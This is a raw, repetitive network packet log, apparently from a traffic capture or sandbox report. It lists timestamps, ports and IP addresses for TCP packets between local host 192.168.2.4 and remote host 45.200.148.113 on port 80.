Oct 1, 2024 07:51:15.374911070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374921083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374932051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374939919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374942064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374963045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374982119 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.375569105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375579119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375590086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375601053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375612020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375612974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.375622034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.375638008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.375658035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376013994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376024008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376034975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376045942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376055956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376056910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376065969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376074076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376075983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376085997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376094103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376096010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376106024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376116037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376117945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376127005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376137018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376137972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376147985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376157999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376157999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376176119 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376198053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376926899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376938105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376948118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376959085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376969099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376971960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.376980066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.376990080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377000093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377005100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377011061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377022028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377032042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377042055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377044916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377091885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377640009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377650976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377660990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377671003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377681971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377682924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377691984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377701044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377701998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377712011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377721071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377722025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377732992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377743006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377743959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377753019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377763987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377764940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377774000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377783060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377784967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.377803087 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.377821922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.378427982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.378439903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.378449917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.378460884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.378473997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.378478050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.378499985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.378516912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.460855961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.460880041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.460892916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461010933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461023092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461036921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461076975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461196899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461208105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461218119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461224079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461323977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461402893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461414099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461425066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461436033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461443901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461447001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461457014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461472034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461473942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461492062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461510897 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461750984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461761951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461771965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461782932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461796045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461867094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.461982965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.461993933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462004900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462016106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462023020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462025881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462037086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462039948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462090969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462372065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462383032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462393045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462404966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462409019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462415934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462426901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462436914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462447882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462450027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462460995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462480068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462501049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462913036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462923050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462934017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462944031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462948084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462954998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462965965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462975025 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.462977886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462987900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.462999105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463001966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463010073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463021040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463022947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463031054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463042974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463052034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463052988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463064909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463068008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463078022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463097095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463123083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463715076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463726044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463737011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463747978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463758945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463768959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463778973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.463779926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.463824034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464167118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464178085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464189053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464199066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464210033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464211941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464221001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464230061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464231968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464243889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464250088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464253902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464265108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464265108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464277029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464294910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464318991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464854002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464864969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464874983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464884996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464895010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464900970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464909077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464920044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464931011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464931965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464941978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464951992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464955091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464962959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464973927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464982986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.464983940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464996099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.464998007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465007067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465018034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465028048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465054989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465826988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465837955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465848923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465862036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465872049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465873003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465883017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465893030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465903044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465905905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465914011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465924025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465929031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465934992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465945959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465954065 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465955973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465965986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465977907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465987921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.465987921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.465998888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466008902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466010094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.466037989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.466691971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466702938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466713905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466730118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466741085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466743946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.466752052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466763020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.466767073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.466797113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.664489985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.664557934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665149927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665159941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665200949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665278912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665290117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665299892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665311098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665313005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665321112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665338039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665349007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665349007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665359020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665369987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665380955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665390015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665395021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665410995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665420055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665421963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665433884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665436983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665446997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665461063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.665469885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.665498018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666296959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666316032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666327000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666332006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666337967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666348934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666348934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666358948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666369915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666379929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666388988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666390896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666400909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666420937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666434050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666445017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666454077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666465044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666471958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666476011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666486025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666497946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666502953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666507959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.666523933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.666549921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667290926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667304039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667314053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667325020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667330027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667335033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667346001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667352915 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667368889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667381048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667393923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667397976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667409897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667419910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667431116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667434931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667443037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667453051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667464972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667465925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667474985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667485952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667500973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667511940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667519093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.667537928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.667557955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.668226957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668240070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668251038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668262005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668272018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668276072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.668283939 CEST	80	49732	45.200.148.113	192.168.2.4
